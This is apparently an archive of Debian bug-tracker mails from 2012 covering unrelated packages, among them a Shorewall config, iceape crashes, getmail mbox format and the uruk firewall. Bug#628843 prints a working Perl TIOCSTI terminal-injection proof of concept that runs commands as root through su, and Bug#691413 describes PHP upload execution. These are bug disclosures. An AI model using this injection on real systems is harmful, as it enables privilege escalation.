LOG_VERBOSITY=1
LOGALLNEW=
LOGFILE=/var/log/ulog/syslogemu.log
LOGFORMAT=Shwl:%s:%s:
LOGTAGONLY=No
LOGLIMIT=10/sec:10
MACLIST_LOG_LEVEL=info
RELATED_LOG_LEVEL=
SFILTER_LOG_LEVEL=info
SMURF_LOG_LEVEL=info
STARTUP_LOG=/var/log/shorewall-init.log
TCP_FLAGS_LOG_LEVEL=info
CONFIG_PATH=${CONFDIR}/shorewall:${SHAREDIR}/shorewall
GEOIPDIR=/usr/share/xt_geoip/LE
IPTABLES=
IP=
IPSET=
LOCKFILE=
MODULESDIR=
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin
PERL=/usr/bin/perl
RESTOREFILE=restore
SHOREWALL_SHELL=/bin/sh
SUBSYSLOCK=
TC=
ACCEPT_DEFAULT=none
DROP_DEFAULT=Drop
NFQUEUE_DEFAULT=none
QUEUE_DEFAULT=none
REJECT_DEFAULT=Reject
RCP_COMMAND='scp ${files} ${root}@${system}:${destination}'
RSH_COMMAND='ssh ${root}@${system} ${command}'
ACCOUNTING=Yes
ACCOUNTING_TABLE=filter
ADD_IP_ALIASES=No
ADD_SNAT_ALIASES=No
ADMINISABSENTMINDED=Yes
AUTO_COMMENT=Yes
AUTOMAKE=Yes
BLACKLISTNEWONLY=Yes
CLAMPMSS=No
CLEAR_TC=Yes
COMPLETE=Yes
DELETE_THEN_ADD=Yes
DETECT_DNAT_IPADDRS=No
DISABLE_IPV6=No
DONT_LOAD=
DYNAMIC_BLACKLIST=Yes
EXPAND_POLICIES=No
EXPORTMODULES=Yes
FASTACCEPT=Yes
FORWARD_CLEAR_MARK=
IMPLICIT_CONTINUE=No
IPSET_WARNINGS=Yes
IP_FORWARDING=On
KEEP_RT_TABLES=No
LEGACY_FASTSTART=No
LOAD_HELPERS_ONLY=Yes
MACLIST_TABLE=filter
MACLIST_TTL=
MANGLE_ENABLED=Yes
MAPOLDACTIONS=No
MARK_IN_FORWARD_CHAIN=No
MODULE_SUFFIX=ko
MULTICAST=No
MUTEX_TIMEOUT=30
NULL_ROUTE_RFC1918=Yes
OPTIMIZE=31
OPTIMIZE_ACCOUNTING=Yes
REQUIRE_INTERFACE=No
RESTORE_DEFAULT_ROUTE=Yes
RETAIN_ALIASES=No
ROUTE_FILTER=Yes
SAVE_IPSETS=No
TC_ENABLED=Internal
TC_EXPERT=No
TC_PRIOMAP=2 3 3 3 2 3 1 1 2 2 2 2 2 2 2 2
TRACK_PROVIDERS=No
USE_DEFAULT_RT=No
USE_PHYSICAL_NAMES=No
ZONE2ZONE=2
BLACKLIST_DISPOSITION=DROP
MACLIST_DISPOSITION=REJECT
RELATED_DISPOSITION=ACCEPT
SMURF_DISPOSITION=DROP
SFILTER_DISPOSITION=DROP
TCP_FLAGS_DISPOSITION=DROP
TC_BITS=
PROVIDER_BITS=
PROVIDER_OFFSET=
MASK_BITS=
ZONE_BITS=0
IPSECFILE=zones
-- debconf information:
shorewall/dont_restart:
shorewall/major_release:
shorewall/invalid_config:
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#686851: /sbin/losetup: Re: util-linux: New upstream version
Excerpts from Hector Oron's message of Wed Oct 24 19:57:40 +0200 2012: Hello, Thanks for the effort to update to new version. On Fri, Sep 07, 2012 at 01:13:56PM +0200, Michal Suchanek wrote: Package: mount Followup-For: Bug #686851 Hello, https://launchpad.net/~hramrach/+archive/ppa/+packages should now have usable version of util-linux 2.22. I found this error when using debootstrap and using your package, apologies I had no time to investigate further. Unpacking util-linux (from .../util-linux_2.22-1~test2bc1_i386.deb) ... Can't exec insserv: No such file or directory at /usr/sbin/update-rc.d line 402. update-rc.d: error: insserv rejected the script header dpkg: error processing /var/cache/apt/archives/util-linux_2.22-1~test2bc1_i386.deb (--unpack): subprocess new pre-installation script returned error exit status 255 As you can see the preinst script does not reference insserv at all. Also you can see that the reported error is in /usr/sbin/update-rc.d which is provided by the sysv-rc package. I did not touch these scripts so if they have problems they would have the same problem in the current Debian package. Thanks Michal -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691410: iceape: crashes with Gdk-WARNING **: XID collision, trouble ahead
Package: iceape
Version: 2.0.11-15
Severity: important
-- Package-specific info:
-- Extensions information
Name: ChatZilla
Location: /usr/lib/iceape/extensions/{59c81df5-4b7a-477b-912d-4e0fdf64e5f2}
Package: iceape-chatzilla
Status: enabled
Name: Iceape Default Theme
Location: /usr/lib/iceape/extensions/{972ce4c6-7e08-4474-a285-3208198ce6fd}
Package: iceape-browser
Status: enabled
Name: Iceape Modern
Location: /usr/lib/iceape/extensions/mod...@themes.mozilla.org
Package: iceape-browser
-- Plugins information
Name: Adobe Reader 9.4
Location: /usr/lib/Adobe/Reader9/Browser/intellinux/nppdf.so
Package: mozilla-acroread
Status: enabled
Name: Adobe Reader 9.5
Location: /usr/lib/Adobe/Reader9/Browser/intellinux/nppdf.so
Package: mozilla-acroread
Status: enabled
Name: DivX® Web Player
Location: /usr/lib/mozilla/plugins/libtotem-mully-plugin.so
Package: totem-mozilla
Status: enabled
Name: DivX® Web Player
Location: /usr/lib/mozilla/plugins/libtotem-mully-plugin.so
Package: totem-mozilla
Status: enabled
Name: Java(TM) Plug-in 1.6.0_26
Location: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386/libnpjp2.so
Package: sun-java6-bin
Status: enabled
Name: QuickTime Plug-in 7.6.6
Location: /usr/lib/mozilla/plugins/libtotem-narrowspace-plugin.so
Package: totem-mozilla
Status: enabled
Name: iTunes Application Detector
Location: /usr/lib/mozilla/plugins/librhythmbox-itms-detection-plugin.so
Package: rhythmbox-plugins
Status: enabled
-- Addons package information
ii iceape-browser 2.0.11-15 Iceape Navigator (Internet browser)
and Comp
ii iceape-chatzil 2.0.11-15 Iceape Chatzilla IRC client
ii mozilla-acrore 9.5.1-0.1 Adobe Acrobat(R) Reader plugin for
mozilla /
ii rhythmbox-plug 0.12.8-3 plugins for rhythmbox music player
ii sun-java6-bin 6.26-0squeeze1 Sun Java(TM) Runtime Environment (JRE)
6 (ar
ii totem-mozilla 2.30.2-6 Totem Mozilla plugin
-- System Information:
Debian Release: 6.0.6
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: i386 (i686)
Kernel: Linux 2.6.32-5-686 (SMP w/2 CPU cores)
Locale: LANG=de_DE.utf8, LC_CTYPE=de_DE.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Versions of packages iceape depends on:
ii iceape-browser2.0.11-15 Iceape Navigator (Internet
browser
ii iceape-mailnews 2.0.11-15 Iceape Mail Newsgroups
and Addre
Versions of packages iceape recommends:
ii iceape-chatzilla 2.0.11-15 Iceape Chatzilla IRC client
iceape suggests no packages.
-- no debconf information
log output with ddd/gdb:
(gdb) run -g
Starting program: /usr/lib/iceape/iceape-bin -g
[Thread debugging using libthread_db enabled]
[New Thread 0xb609db70 (LWP 19253)]
[New Thread 0xb5803b70 (LWP 19254)]
[New Thread 0xb4affb70 (LWP 19255)]
[New Thread 0xb3a5fb70 (LWP 19256)]
[New Thread 0xb2e3eb70 (LWP 19257)]
[New Thread 0xb263db70 (LWP 19258)]
[New Thread 0xad6ffb70 (LWP 19259)]
[New Thread 0xaccffb70 (LWP 19260)]
[New Thread 0xac4feb70 (LWP 19261)]
[New Thread 0xabaffb70 (LWP 19262)]
[New Thread 0xab2feb70 (LWP 19263)]
[Thread 0xab2feb70 (LWP 19263) exited]
[New Thread 0xab2feb70 (LWP 19264)]
[Thread 0xabaffb70 (LWP 19262) exited]
[Thread 0xab2feb70 (LWP 19264) exited]
[New Thread 0xab2feb70 (LWP 19268)]
[New Thread 0xabaffb70 (LWP 19269)]
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble
ahead(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
(iceape-bin:19239): Gdk-WARNING **: XID collision, trouble ahead
Bug#627152: alsa-source: FTBFS
* Rename source package, make it 3.0 (native). * Drop alsa-source and all related packaging for alsa-modules. It was painful to maintain, didn't make the kernel team happy at all and was a general mess. The old source package (alsa-driver) and the RC-buggy binary package (alsa-source) are still in unstable and wheezy: | $ rmadison -S -s sid,wheezy alsa-driver | alsa-base| 1.0.23+dfsg-4 | sid | all | alsa-base-udeb | 1.0.23+dfsg-4 | sid/main/debian-installer | all | alsa-driver | 1.0.23+dfsg-4 | wheezy| source | alsa-driver | 1.0.23+dfsg-4 | sid | source | alsa-source | 1.0.23+dfsg-4 | wheezy| all | alsa-source | 1.0.23+dfsg-4 | sid | all | linux-sound-base | 1.0.23+dfsg-4 | wheezy| all | linux-sound-base | 1.0.23+dfsg-4 | sid | all Should they be removed? -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691366: wheezy 2012-10-24 daily built netinst
Hi again, On 10/25/2012 12:27 PM, Stephan Beyer wrote: 6. KDE programs work but only after some minutes I tested several programs and wrote bug report #691406 [2] against kde-standard containing further information. I hope that helps. 2.http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=691406 As it turned out, the problem is not a genuine KDE problem. The problem occured because the lo interface was down and no connection to localhost could be established (and hence timeouted). This has caused the long delays. This means the problem is based on a broken installation. I solved it for me, but imho it is a release-critical bug in the installer or ifupdown. Best Stephan -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#122383: your bug -- manpages-dev: Ptrace manpage on IA64 is for Linux 2.2
On Mon, Jul 23, 2012 at 11:32 PM, Simon Paillard spaill...@debian.org wrote: tags 122383 +confirmed thanks Hi, On Thu, Dec 22, 2005 at 11:45:21AM +0100, Johan Walles wrote: 2005/12/21, Justin Pryzby justinpry...@users.sourceforge.net: Does this bug still apply in recent manpages packages? Yes. Although not to the same extent as before. PTRACE_GETFPREGS still doesn't exist on ia64. The man page implies it does. It's documented and the documentation says nothing about this function not existing on some platforms. The attached program builds and runs fine on ia32. It doesn't even build on ia64: error: `PTRACE_GETFPREGS' undeclared. Possibly it's broken on other platforms as well, although the ia64 is the only non-mainstream platform I have access to. This doesn't build either on ia64 today, with the same error. And ptrace.2 doesn't mention such kind of function unavailability (except arguments order change for sparc). For 3.44, I've added a note to the page to say that PTRAGE_GETREGS PTRAGE_SETREGS PTRAGE_GETFPREGS PTRAGE_SETFPREGS are not available on all architectures. Thanks, Michael -- Michael Kerrisk Linux man-pages maintainer; http://www.kernel.org/doc/man-pages/ Author of The Linux Programming Interface; http://man7.org/tlpi/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691406: some KDE programs take very long to start
On 10/25/2012 12:32 PM, Pino Toscano wrote: Hi, Alle giovedì 25 ottobre 2012, Stephan Beyer ha scritto: I have installed yesterday's Debian testing nightly build ISO for amd64. KDE works but takes very long to start up. Do you have gamin installed? If so, try to either uninstall it altogether, or replace it with fam (installing it will replace gamin), and see whether things change. No, I had neither gamin nor fam installed. However, I did an strace and I got the bug. The affected programs do some communication and hence needed localhost (127.0.0.1) to be up. The debian-installer or the ifupdown package did something wrong, perhaps f**ked up /etc/network/interfaces such that lo did not get up. An ifup lo fixed the problem and everything works fine now. However, the question may be asked if KDE programs should throw an error message if connection to localhost fails/timeouts. Should the bug be reassigned to debian-installer or ifupdown? Best Stephan -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#633799: getmail4: Mboxrd format is not supported
Hi, Problem is getmail documentation pretends it impliments mboxrd while it actually use mboxo from python. Mboxo may not be your favorite (nor mine), but python decided to use mboxo with reason. python manual goes: | 18.4.1.2. mbox | ... | Several variations of the mbox format exist to address perceived | shortcomings in the original. In the interest of compatibility, mbox | implements the original format, which is sometimes referred to as mboxo. | This means that the Content-Length header, if present, is ignored and | that any occurrences of “From ” at the beginning of a line in a message | body are transformed to “From ” when storing the message, although | occurrences of “From ” are not transformed to “From ” when reading the | message. On Wed, Oct 24, 2012 at 03:29:26AM +0200, Christoph Anton Mitterer wrote: severity 633799 critical forwarded 633799 http://article.gmane.org/gmane.mail.getmail.user/4576 stop Osamu, I can't believe my eyes why you severity-normal-ised such an issue, if you'd not... I (and others) would have had the chance to see it e.g. via apt-listbugs. Thank you for your attention and success in making upstream accept patch to realize mboxrd format instead of mboxo. (Have you read entire bug report including patches.) But if you read history of bug report including patches, you could have written a bit kinder tone message. I feel a bit sad to see this message. Maybe I should have applied my documentation patch in BTS. But since upstream did not take this patch, I left it here. Before I saw this bug at Debian, I reported the same issue again upstream: http://article.gmane.org/gmane.mail.getmail.user/4576 which does of course not mean that now they're smarter. But from Debian side this clearly needs to be handled better. What I suggested at the Debian bug on the analogous Evolution issue is: big fat warnings in: - the NEWS file No. This is not news. So not an appropriate place. Right place should be more like README.Debian or BUGS. - the package descripting This is not right place. - if possibly in a priority-high dialogue via debconf This is not right place per policy. If upstream is stupid and doesn't want to fix this, then we really Please do not call upstream stupid ... especially in public like this. I think you are bright but this is not very polite. really must warn our users on that issue. And even if upstream would fix it, we still would need to warn our users at least in the NEWS file / release notes... that all their mail from previous years is likely corrupted. mboxo has been always so and have been widely used. mboxrd is technically superior. anyone who stores file in mbox should know there are risks as you describe. For the above reasons, reseting the severity again to critical, as it causes serious (because irrecoverable) data loss. I think important point is not above reason only but the fact upstream applied patch to make this program to function as mboxrd. I think you are a bit exxagurating severity of trivial part of data change. If you don't want to apply the solving patch in only debian (if upstream rejects it) I'd be fined with closing this bug (as wontfix) if the above warnings (NEWS file, package description, debconf dialogue) are installed. Again, I need to point out that I'm really disturbed and sad that such a bug got hidden away in Debian :( Yah, I had homework to update README.Debian. Let's ask release manager how this should be handled now. If they are OK to accept patch only to fix this bug (inconsistence between documentation and code.) causing mbox file to be not the most technically safe one. Regards, Osamu -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691411: unblock: uruk/20120608.1-1
Package: release.debian.org Severity: normal User: release.debian@packages.debian.org Usertags: unblock Hi, Please unblock package uruk, which was just uploaded to testing-proposed-updates. Without this fix an upgrade from squeeze to wheezy will lead to all IPv6-traffic being blocked. unblock uruk/20120608.1-1 Here's the diff between uruk-20120608-1 as currently in testing and the proposed one (debdiff uruk_20120608-1.dsc uruk_20120608.1-1.dsc) : diff -Nru uruk-20120608/ChangeLog uruk-20120608.1/ChangeLog --- uruk-20120608/ChangeLog 2012-06-08 16:01:32.0 +0200 +++ uruk-20120608.1/ChangeLog 2012-10-25 12:53:27.0 +0200 @@ -1,3 +1,13 @@ +2012-10-25 Joost van Baal-Ilić + + * uruk/script/uruk: Apply patch contributed by Thijs Kinkhorst in + Message-Id: 1350907287-15481-1-git-send-email-th...@uvt.nl: Uruk + implemented RFC 4890 section 4.3: Recommendations for ICMPv6 Transit + Traffic. However uruk is used in some (many?) cases not as a transit + firewall but as a host firewall for destination entities. Therefore, + also the recommentations from section 4.4: Recommendations for + ICMPv6 Local Configuration Traffic need to be added. + 2012-06-08 Joost van Baal-Ilić * uruk/TODO, uruk/script/uruk: No longer block, but allow ICMPv6 diff -Nru uruk-20120608/configure uruk-20120608.1/configure --- uruk-20120608/configure 2012-06-08 16:01:34.0 +0200 +++ uruk-20120608.1/configure 2012-10-25 12:56:03.0 +0200 @@ -586,8 +586,8 @@ # Identity of this package. PACKAGE_NAME='Uruk' PACKAGE_TARNAME='uruk' -PACKAGE_VERSION='20120608' -PACKAGE_STRING='Uruk 20120608' +PACKAGE_VERSION='20120608.1' +PACKAGE_STRING='Uruk 20120608.1' PACKAGE_BUGREPORT='joostvb-u...@mdcc.cx' PACKAGE_URL='' @@ -1201,7 +1201,7 @@ # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat _ACEOF -\`configure' configures Uruk 20120608 to adapt to many kinds of systems. +\`configure' configures Uruk 20120608.1 to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... @@ -1267,7 +1267,7 @@ if test -n $ac_init_help; then case $ac_init_help in - short | recursive ) echo Configuration of Uruk 20120608:;; + short | recursive ) echo Configuration of Uruk 20120608.1:;; esac cat \_ACEOF @@ -1334,7 +1334,7 @@ test -n $ac_init_help exit $ac_status if $ac_init_version; then cat \_ACEOF -Uruk configure 20120608 +Uruk configure 20120608.1 generated by GNU Autoconf 2.69 Copyright (C) 2012 Free Software Foundation, Inc. @@ -1357,7 +1357,7 @@ This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. -It was created by Uruk $as_me 20120608, which was +It was created by Uruk $as_me 20120608.1, which was generated by GNU Autoconf 2.69. Invocation command line was $ $0 $@ @@ -2175,7 +2175,7 @@ # Define the identity of the package. PACKAGE='uruk' - VERSION='20120608' + VERSION='20120608.1' cat confdefs.h _ACEOF @@ -2773,7 +2773,7 @@ # report actual input values of CONFIG_FILES etc. instead of their # values after options handling. ac_log= -This file was extended by Uruk $as_me 20120608, which was +This file was extended by Uruk $as_me 20120608.1, which was generated by GNU Autoconf 2.69. Invocation command line was CONFIG_FILES= $CONFIG_FILES @@ -2826,7 +2826,7 @@ cat $CONFIG_STATUS _ACEOF || ac_write_fail=1 ac_cs_config=`$as_echo $ac_configure_args | sed 's/^ //; s/[\\\`\$]//g'` ac_cs_version=\\ -Uruk config.status 20120608 +Uruk config.status 20120608.1 configured by $0, generated by GNU Autoconf 2.69, with options \\\$ac_cs_config\\ diff -Nru uruk-20120608/debian/changelog uruk-20120608.1/debian/changelog --- uruk-20120608/debian/changelog 2012-06-12 16:38:24.0 +0200 +++ uruk-20120608.1/debian/changelog2012-10-25 13:49:39.0 +0200 @@ -1,3 +1,9 @@ +uruk (20120608.1-1) testing-proposed-updates; urgency=low + + * New upstream release, for Debian wheezy. + + -- Joost van Baal-Ilić joos...@debian.org Thu, 25 Oct 2012 13:26:34 +0200 + uruk (20120608-1) unstable; urgency=low * New upstream release: The Hooidonk Release. diff -Nru uruk-20120608/NEWS uruk-20120608.1/NEWS --- uruk-20120608/NEWS 2012-06-08 16:01:05.0 +0200 +++ uruk-20120608.1/NEWS2012-10-25 12:52:04.0 +0200 @@ -2,6 +2,17 @@ Refer to ChangeLog for detailed per-file info. +uruk version 20120608.1 - released October 25, 2012, for Debian wheezy + +- uruk/script/uruk: Fix IPv6 firewalling in case uruk is used on a host (not + transit) firewall by applying patch contributed by Thijs Kinkhorst: Uruk + implemented RFC 4890 section 4.3: Recommendations for ICMPv6 Transit + Traffic. However uruk is used in some (many?) cases not as a transit firewall + but as a host firewall for destination
Bug#691412: ntpd rejects source UDP ports less than 123 as bogus.
Package: ntp Version: 1:4.2.6.p2+dfsg-1+b1 Debian ver: Squeeze Please backport this fix from upstream ntpd: http://bugs.ntp.org/show_bug.cgi?id=2174 Thx Csszep -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#681227: installation-reports: grub-install tries to install to a nonsense string
Hi, I tried to reproduce the bug in different settings. - A virtual machine installation: grub always writes to /dev/sda - A new lenova laptop booting from dvd: grub writes to /dev/sda - Installation on an external usb disk: grub writes to /dev/sda This is the original disk in the machine, while it was my expectation that grub should write to the MBR of usb disk. Booting from the usb disk is not possible only via /dev/sda. The question is: What is the configuration where grub writes to the MBR of /dev/sdb? Willem -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691152: deutex ignores freedoom.wad
On Thu, Oct 25, 2012 at 09:19:05AM +0200, Fabian Greffrath wrote: I have no strong opinion about this, as I simply lack the experience with such tools. Do you already have a candidate to replace deutex in mind or are you going to fork it and develop it into the desired direction? I might possibly write an alternative from scratch (not in C). -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#690373: Ping: gdcm: incomplete copyright file (#690373)
Hi Mathieu, I pinged you two days ago but did not got any answer. If I do not hear from you I'll take action at this weekend, latest next Monday. Kind regards Andreas. On Tue, Oct 23, 2012 at 04:55:04PM +0200, Andreas Tille wrote: Hi Mathieu, just a ping about this bug which seems to be easy to fix but is relevant for the release. Please let me know if I should step in in case you feel not able to upload for whatever reason. Kind regards Andreas. -- http://fam-tille.de -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#593339:
Some news about inclusion of FreeOrion in official Debian repositories?
Bug#691413: libapache2-mod-php5: php files without php extension executed by default
Package: libapache2-mod-php5 Version: 5.3.3-7+squeeze14 Severity: normal When you have a file with a name like file.php.something, Apache considers it is a php file and executes it even if its name does not end with .php or a php-related extension If 'something' is a valid extension of another mimetype like .jpeg it won't be executed. This leads to some security issues with machines where files can be uploaded. For exemple il somewone can upload a file named nasty.php.hack on a web server and then access it, he will gain acces to this server with the same rights as apache. Of course this can be prevented by checking the filenames on upload but it is non obvious and the default behaviour is sufficiently surprising not to be expected. -- System Information: Debian Release: 6.0.6 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.32-5-amd64 (SMP w/8 CPU cores) Locale: LANG=fr_FR.utf8, LC_CTYPE=fr_FR.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages libapache2-mod-php5 depends on: ii apache2-mpm-prefor 2.2.16-6+squeeze8 Apache HTTP Server - traditional n ii apache2.2-common 2.2.16-6+squeeze8 Apache HTTP Server common files ii libbz2-1.0 1.0.5-6+squeeze1 high-quality block-sorting file co ii libc6 2.11.3-4 Embedded GNU C Library: Shared lib ii libcomerr2 1.41.12-4stable1 common error description library ii libdb4.8 4.8.30-2 Berkeley v4.8 Database Libraries [ ii libgssapi-krb5-2 1.8.3+dfsg-4squeeze6 MIT Kerberos runtime libraries - k ii libk5crypto3 1.8.3+dfsg-4squeeze6 MIT Kerberos runtime libraries - C ii libkrb5-3 1.8.3+dfsg-4squeeze6 MIT Kerberos runtime libraries ii libmagic1 5.04-5+squeeze2 File type determination library us ii libonig2 5.9.1-1 Oniguruma regular expressions libr ii libpcre3 8.02-1.1 Perl 5 Compatible Regular Expressi ii libqdbm14 1.8.77-4 QDBM Database Libraries [runtime] ii libssl0.9.80.9.8o-4squeeze13 SSL shared libraries ii libxml22.7.8.dfsg-2+squeeze5 GNOME XML library ii mime-support 3.48-1MIME files 'mime.types' 'mailcap ii php5-common5.3.3-7+squeeze14 Common files for packages built fr ii tzdata 2012g-0squeeze1 time zone and daylight-saving time ii ucf3.0025+nmu1 Update Configuration File: preserv ii zlib1g 1:1.2.3.4.dfsg-3 compression library - runtime Versions of packages libapache2-mod-php5 recommends: ii php5-cli 5.3.3-7+squeeze14 command-line interpreter for the p Versions of packages libapache2-mod-php5 suggests: ii php-pear 5.3.3-7+squeeze14 PEAR - PHP Extension and Applicati -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#533051:
Some news about inclusion of Liberal Crime Squad in official Debian repositories?
Bug#599884:
Some news about inclusion of Speed Dreams in official Debian repositories?
Bug#646377:
Some news about inclusion of Xonotic in official Debian repositories?
Bug#689525: marked as done (vlc loses audio if I play, pause and play)
Am Donnerstag, den 25.10.2012, 09:06 +0200 schrieb Fabian Greffrath: This bug was discussed on our mailing list [1]. The problem was that vlc was configured to use the alsa output plugin. The solution is to install vlc-plugin-pulse and to use the Pulseaudio output plugin (Tools - Preferences - Audio - Output module: Pulseaudio audio output). But doesn't this indicate a bug in the ALSA output plugin then? The problem is that pulseaudio and VLC both try to access the hardware, but not every audio hardware support that. -- Benjamin Drung Debian Ubuntu Developer -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#628843: login: tty hijacking possible in su via TIOCSTI ioctl
Hello,
I'm bumping this bug to point out that the problem is not 100% fixed.
Even though su -c is now safe, interactive su or su - are still at
risk and this should probably be reflected here on the BTS.
Unfortunately I don't see any way to fix this without removing the
controlling terminal of su'ed interactive shells like su -c does, but
this would totally cripple su and render su'ed interactive shells
unusable (su would then become equivalent to su -c $SHELL and we'd
hit bug #659878 which is a PITA).
I'll leave it to you maintainers whether to actually reopen this bug or not.
Scenario:
root uses su to get an interactive shell into a compromised user
account, which uses the aforementioned exploit, just slightly modified
to send an exit before the actual payload.
On the compromised account side:
CONSOLE OUTPUT
test-user$ cat ~/exploit.pl
#!/usr/bin/perl
require sys/ioctl.ph;
open my $tty_fh, '', '/dev/tty' or die $!;
foreach my $c (split //, exit\n.'echo Payload as $(whoami)'.$/) {
ioctl($tty_fh, TIOCSTI, $c);
}
test-user$ cat ~/.bashrc
snip
perl $HOME/exploit.pl
END CONSOLE OUTPUT
Now root actually uses su. Note that the only user keystrokes are the
initial su test-user, the rest is entirely automatic and part of the
exploit (I included the user/root shell prompts as displayed on my
terminal).
CONSOLE OUTPUT
root# su test-user
exit
echo Payload as $(whoami)
test-user$ exit
root# echo Payload as $(whoami)
Payload as root
END CONSOLE OUTPUT
--
Ismaël RUAU
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#423458: dnscap packaged
On Tue, Feb 07, 2012 at 12:39:18AM +, Andrew Ruthven wrote: Our git repo for dnscap is here: http://git.catalyst.net.nz/dnscap.git I'm waiting for a minor update to a patch we're carrying, then we can upload it to unstable. What's the status for that? Is that minor update there now? I am a DD and can sponsor your upload to unstable. If you want me to help, please build a source package and make it available for me. Greetings Marc -- - Marc Haber | I don't trust Computers. They | Mailadresse im Header Mannheim, Germany | lose things.Winona Ryder | Fon: *49 621 31958061 Nordisch by Nature | How to make an American Quilt | Fax: *49 621 31958062 -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#668437: lintian: Identify -dbg packages that have binaries with no debugging symbols
Hi! On Mon, Oct 22, 2012 at 12:01 PM, Niels Thykier ni...@thykier.net wrote: Did you by chance mean cut -b 8 or so. By the looks of it 18 cuts into the symbol/section/$something name. I assume the N you are talking about would be: | v N .debug_abbrev N .debug_aranges N .debug_frame N .debug_info N .debug_line N .debug_loc N .debug_pubnames N .debug_str ^ | It's 18 here: N .debug_abbrev N .debug_aranges N .debug_info If so, we should be able to simply check for the presence of any section starting with .debug_ (or maybe just .debug_line, which supposedly holds the line number mappings)[1]. But indeed. Better check for .debug_* Thank you! Best regards, Nelson -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#627152: alsa-source: FTBFS on Debian Testing amd64
reopen 627152 notfixed alsa-base/1.0.25+1 thanks Hi, It seems like the intent was to remove src:alsa-source, but it seems nobody has put in a request yet to ftp-master. [ Jordi Mallach ] * Drop alsa-source and all related packaging for alsa-modules. It was painful to maintain, didn't make the kernel team happy at all and was a general mess. The recommended way of getting new drivers is to look for a kernel backport (closes: #627152, 622652 âRCâ, and also closes: #228070, #481849, #570618, #584336, #588385, #606046, #612123 closes: #653542) If I reopen the bug for now (that will alert anyone using apt-listbugs), it should get closed automatically when the source package is actually removed. Thanks, Regards, -- Steven Chamberlain ste...@pyro.eu.org -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#631075: Installs two sysv init scripts
